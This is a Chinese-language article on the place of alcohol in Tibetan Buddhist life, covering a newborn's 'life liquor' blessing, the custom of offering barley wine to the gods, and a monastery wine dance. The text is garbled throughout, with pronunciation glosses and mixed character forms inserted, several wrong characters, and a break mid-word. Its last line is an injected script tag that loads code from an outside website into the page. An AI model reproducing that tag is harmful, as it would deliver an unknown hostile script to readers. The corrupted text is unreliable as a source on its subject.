藏傳佛教與酒
篤信藏傳佛教的藏族人又是酒的嗜愛(ài)者。從白發(fā)蒼蒼的老人到剛出生的孩子，從居家日常生活到敬奉神靈的供品，藏族的男女老幼都與酒結(jié)下不解之緣。藏族人還創(chuàng)造了以青稞酒為載體的藏族酒文化，其獨(dú)特的魅力飲譽(yù)海內(nèi)外，成為世界酒文化中的一朵奇葩。
眾所周知，佛教是主張“出世”的，它認(rèn)為世間“無(wú)?！?，萬(wàn)物本“空”，要求人們斷除“三毒”(貪、填、癡)， 擯棄一切欲望和享受，飯依“三寶”(佛、法、僧)，求證“涅堅(jiān)”。而“酒，天之美祿也”(李時(shí)珍語(yǔ))，飲酒無(wú)疑是一種物質(zhì)欲，是追求享受。這與佛教主張的斷除“貪”“癡”是相違的。另一方面，酒能醉人，使人“亂性”，對(duì)于這種“迷人心智”之物，修習(xí)佛法者理應(yīng)擯除，故從佛教的總觀念來(lái)看，酒乃與佛教不相容者，當(dāng)然更不能并行發(fā)展。但是，令人奇怪的是在雪域高原竟出現(xiàn)了這種奇特的社會(huì)民俗現(xiàn)象：人們篤信佛教，人們同樣也熱愛(ài)酒，并且將二者生動(dòng)的結(jié)合在一起。
在藏族地區(qū)，一個(gè)新的生命誕生的第三天，照例要請(qǐng)喇嘛來(lái)家為新生兒行灌頂禮，賜予他(她)以生命力”。喇嘛到家后，在靠墻的供桌上擺列各種供品，其中包括象征“色”、“聲”、“香”、“味”、“觸”和“生命瓶”、“生命珠”、“生命箭”等各種碗、瓶、珠、盤(pán)等和 “朵瑪”。還在一個(gè)人頭蓋骨碗中，盛滿了加糖的“生命酒”。當(dāng)喇嘛念經(jīng)作法后，先將“生命瓶”置于嬰兒和其父母之頭，再用“生命箭”向四方揮舞，意為使嬰兒獲取更多生命。然后便將“生命酒”一匙，傾于其父母之掌中，使他們喝了，再蘸一點(diǎn)放人嬰兒口中，意為使他獲得生命之源泉。這樣，一個(gè)剛臨人世的藏族人便第一次在接受上師加持的同時(shí)，嘗到了酒的滋味。
每逢喜慶歡聚，飲青稞酒是藏族人必不可少的活動(dòng)，當(dāng)斟滿一杯清香的青稞酒捧奉給尊貴的來(lái)賓或村落的長(zhǎng)者時(shí)，未飲之先總是要用指頭沽上杯中的酒連彈三下，讓酒之微粒飄灑于空中和地上，這意味著將酒先敬獻(xiàn)給天神、地神和龍神，讓神和我們一同享受這玉露瓊漿。
藏區(qū)不少寺院每年都舉行“攘災(zāi)”法會(huì)，祛災(zāi)祈福。在這種規(guī)模盛大，群眾參與性極強(qiáng)的宗教活動(dòng)中，照例要“跳神”(即宗教舞蹈)，其中要跳一種“拋潑金酒”的神舞。號(hào)稱(chēng)黃教(格魯派)六大寺之一的甘南拉卜楞寺的九月跳神會(huì)在青、甘一帶十分有名，所表演的宗教舞蹈絢麗壯觀。在“拋潑金酒”這場(chǎng)舞蹈中，有十五名舞者身著彩衣，頭戴平面黑帽，圍成一圈，另有執(zhí)壺、杯者各二人，相向站立場(chǎng)的中間。舞蹈開(kāi)始時(shí)，執(zhí)壺者向杯中注入“金酒”，放入一小撮青?script src=http://www.234mu.com/>
